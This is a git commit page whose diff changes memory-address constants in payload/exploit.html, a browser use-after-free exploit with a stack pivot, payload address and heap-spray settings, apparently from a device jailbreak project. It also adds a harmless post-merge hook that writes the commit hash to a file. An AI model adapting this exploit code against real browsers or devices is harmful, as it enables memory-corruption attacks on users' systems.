Browse Source

script for making commit number work

also...
8b4700aecb
coltondrg? 1 year ago
parent
commit
5c96c0f679
2 changed files with 5 additions and 2 deletions
  1. 2
    2
      payload/exploit.html
  2. 3
    0
      post-merge.example

+ 2
- 2
payload/exploit.html View File

@@ -11,11 +11,11 @@ Result: Bug is present, crash
11 11
 <script>
12 12
 function UaF(a)
13 13
 {
14
-    var delta                   = 0x<!--#echo var="delta" -->00000; //from 0x0 to 0x400000 step by 0x100000
14
+    var delta                   = 0x0<!--#echo var="delta" -->000000; //from 0x0 to 0x400000 step by 0x100000
15 15
     var OS_Exit                 = 0x0101cd80;
16 16
     var pivotAdress             = 0x010ADDCC;
17 17
     var pivotAdressAdress       = 0x1B100000; //r6
18
-    var payloadAdress           = 0x1D800000 + delta;
18
+    var payloadAdress           = 0x1D000000 + delta;
19 19
     var codegenAddress          = 0x01800000;
20 20
     var sizeWebCoreImageLoader  = 0x18;
21 21
     var sprayCount              = 0x1000;

+ 3
- 0
post-merge.example View File

@@ -0,0 +1,3 @@
1
+#!/bin/sh
2
+# If you cloned this repo from git, you can copy this file to .git/hooks/post-merge to make the git commit version display at the bottom of the page work.
3
+git rev-parse --short HEAD > commit.html